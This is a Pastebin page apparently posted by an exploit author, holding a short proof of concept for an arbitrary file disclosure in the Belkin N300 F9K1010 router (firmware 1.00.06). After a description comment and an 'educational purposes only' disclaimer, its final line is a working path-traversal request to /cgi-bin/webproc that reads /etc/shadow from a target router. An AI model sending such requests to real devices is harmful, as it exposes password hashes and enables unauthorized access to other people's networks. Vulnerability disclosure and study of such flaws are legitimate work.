hackerscommunity

Belkin N300 WiFi N Router F9K1010 Arbitrary File Disclosure

Oct 9th, 2015
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.53 KB | None | 0 0
  1. #  Belkin  N300  WiFi N  Router  F9K1010
  2. #  Arbitrary  File  Disclosure
  3. #
  4. #  Copyright 2015 (c) Todor Donev
  5. #  http://www.ethical-hacker.org/
  6. #  https://www.facebook.com/ethicalhackerorg
  7. #  http://pastebin.com/u/hackerscommunity
  8. #
  9. #  Version Info:
  10. #  Firmware Version    F9K1010_WW_1.00.06
  11. #  Hardware            F9K1010 v1
  12. #  Boot Version        v1.0.0
  13. #
  14. #  Description:
  15. #  This vulnerability in the Belkin routers could
  16. #  allow  an  attacker  to  read  the contents of
  17. #  arbitrary  files. The vulnerability  is due to
  18. #  incomplete input validation. An attacker could
  19. #  exploit this  vulnerability  by issuing a full
  20. #  path to files.
  21. #
  22. #  Disclaimer:
  23. #  This  or  previous program  is  for Educational
  24. #  purpose ONLY. Do not use it without permission.
  25. #  The  usual  disclaimer  applies, especially the
  26. #  fact  that  Todor Donev  is  not liable for any
  27. #  damages caused by direct or indirect use of the
  28. #  information or functionality  provided by these
  29. #  programs.  The author or any  Internet provider
  30. #  bears  NO  responsibility for content or misuse
  31. #  of these programs or  any  derivatives thereof.
  32. #  By  using  these  programs  you accept the fact
  33. #  that any damage (dataloss, system crash, system
  34. #  compromise,  etc.)  caused  by the use of these
  35. #  programs is not  Todor Donev's  responsibility.
  36. #
  37. #  Use  at  your  own risk and educational purpose
  38. #  ONLY!
  39. #
  40. [todor@adamantium ~]$ GET "http://TARGET/cgi-bin/webproc?getpage=../../../../../../../../../../etc/shadow"
Advertisement
Add Comment
Please, Sign In to add comment